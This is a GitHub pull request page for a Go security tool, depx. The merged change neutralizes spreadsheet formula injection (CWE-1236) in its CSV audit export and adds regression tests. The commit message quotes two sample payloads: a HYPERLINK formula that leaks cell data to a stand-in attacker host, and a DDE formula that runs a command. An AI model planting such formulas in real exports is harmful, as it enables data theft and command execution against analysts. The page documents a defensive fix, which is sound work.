fix(output): neutralize CSV formula injection in audit export#7
Merged
Mzack9999 merged 1 commit intoJun 19, 2026
Merged
Conversation
WriteAuditCSV writes finding fields through encoding/csv, which quotes
delimiters but does not neutralize spreadsheet formula triggers. The
exported fields are attacker-influenced by design: depx reports on
malicious packages, and Finding.Summary flows straight from the OSV
advisory text and the live X/Grok-curated intelligence feed
(internal/source/entry_from_vuln.go), while Finding.Name is the package
name itself.
A malicious package whose name or summary begins with '=', '+', '-',
'@', a tab, or a CR therefore lands verbatim in the CSV. When an analyst
opens the report in Excel, LibreOffice Calc, or Google Sheets, the cell
is evaluated as a formula, e.g.:
=HYPERLINK("http://attacker.example/?leak="&A1,"open")
=cmd|' /C calc'!A0
leading to silent data exfiltration (HYPERLINK/WEBSERVICE) or command
execution (DDE). This is CSV injection (CWE-1236).
Neutralize every field of each data row at the write choke point by
prefixing a single quote when it starts with a formula trigger, per
OWASP guidance. Fields stay human-readable, the column layout is
unchanged, and there is no public API change.
Adds csv_test.go: a regression test that fails without this fix and unit
coverage for sanitizeCSVField.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Neo - PR Security ReviewNo security issues found Comment |
Mzack9999
approved these changes
Jun 19, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
depx audit --output-format csvcan emit a CSV that executes attacker-controlled formulas when opened in a spreadsheet application. Finding fields written to the CSV (name,summary,ids, …) are influenced by the very thing depx reports on — malicious-package metadata — so a crafted package can turn an exported report into a code-execution / data-exfiltration vector against the analyst. This PR neutralizes the fields per OWASP guidance and adds regression coverage.This is CSV formula injection (CWE-1236).
Problem
WriteAuditCSVwrites rows throughencoding/csv. The standard library writer correctly quotes fields containing commas, quotes, or newlines, but it does not neutralize the leading characters that spreadsheet engines (Excel, LibreOffice Calc, Google Sheets) treat as the start of a formula:=,+,-,@, tab (0x09), and carriage return (0x0D).The exported fields are attacker-influenced by design — depx's job is to describe malicious packages:
Finding.Summaryis assigned directly from the advisory/feed summary ininternal/source/entry_from_vuln.go(entry.Summary = vuln.Summary). This text comes from OSVMAL-*advisories and the live X/Grok-curated intelligence feed.Finding.Name,Finding.IDs,Finding.Version, andFinding.Sourceare likewise derived from package/advisory data.No formula or control-character sanitization exists anywhere in the output path today, so these values reach the CSV verbatim.
Reproduction
A malicious (or hijacked) package whose name or advisory summary begins with a formula trigger — for example a summary of:
or a package name of:
is written to the report unchanged:
When the analyst opens
report.csvin Excel / LibreOffice Calc / Google Sheets, the cell is evaluated as a formula, enabling:=HYPERLINK(...)/=WEBSERVICE(...)/=IMPORTXML(...)can leak adjacent cell contents to an attacker-controlled URL.=cmd|' /C calc'!A0on vulnerable/misconfigured Excel installs.This is especially relevant for depx because the tool is run by security teams on known-malicious inventory, i.e. exactly the data most likely to be hostile.
Fix
Neutralize every field of each data row at the single write choke point in
WriteAuditCSV. When a field begins with a formula trigger, it is prefixed with a single quote (') so the spreadsheet treats the cell as literal text — the OWASP-recommended mitigation.Properties of this approach:
WriteAuditCSV's signature and behavior for benign data are identical.'is the standard "force text" convention).auditCSVHeaderis static and trusted; only data rows are sanitized.I considered wrapping every field in a tab/space or rejecting the export, but a leading-quote prefix is the least surprising, most widely-recommended option and keeps reports usable.
Testing
Added
internal/output/csv_test.go:TestSanitizeCSVField— table-driven unit coverage of every trigger character plus benign inputs (e.g.left-padis untouched).TestWriteAuditCSV_FormulaInjection— end-to-end: builds anaudit.Resultwith a maliciousnameandsummary, writes the CSV, re-parses it, and asserts both fields are neutralized. This test fails without the fix (fields written raw with a leading=) and passes with it.Local gates (per
CONTRIBUTING.md):Checklist
go test ./internal/output/ -racepassesgofmt/go vetcleango build ./...succeeds